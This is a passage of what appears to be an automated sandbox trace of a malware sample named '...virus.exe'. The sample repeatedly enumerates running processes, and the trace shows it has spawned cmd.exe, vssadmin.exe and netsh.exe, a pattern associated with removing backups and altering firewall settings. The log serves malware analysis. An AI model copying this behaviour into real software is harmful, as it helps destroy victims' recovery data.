lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0209.974] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0209.975] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0209.975] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0209.976] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0209.976] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0209.977] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0209.977] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0209.978] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0209.978] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0209.979] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0209.979] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.980] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0209.980] CloseHandle (hObject=0x1a4) returned 1 [0209.980] Sleep (dwMilliseconds=0x1f4) [0210.484] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0210.487] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.487] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0210.488] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0210.488] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.488] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0210.489] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.489] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0210.490] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0210.490] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0210.491] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0210.491] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.492] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.492] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.492] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.493] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.493] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0210.494] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.494] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.495] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0210.495] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0210.495] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0210.496] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0210.496] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.497] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0210.497] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0210.497] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0210.498] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0210.498] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0210.499] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0210.499] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0210.500] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0210.500] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0210.501] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0210.501] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0210.501] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.502] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0210.502] CloseHandle (hObject=0x1b4) returned 1 [0210.503] Sleep (dwMilliseconds=0x1f4) [0211.018] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0211.020] Process32FirstW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.020] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.021] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.022] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.022] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.023] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.023] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.024] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.024] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.024] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0211.025] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.025] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.026] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.026] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.027] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.027] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.028] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.028] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.028] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.029] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.029] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.030] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0211.031] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.031] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0211.031] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0211.032] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0211.032] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0211.033] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0211.033] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0211.033] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0211.034] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0211.034] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0211.035] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, 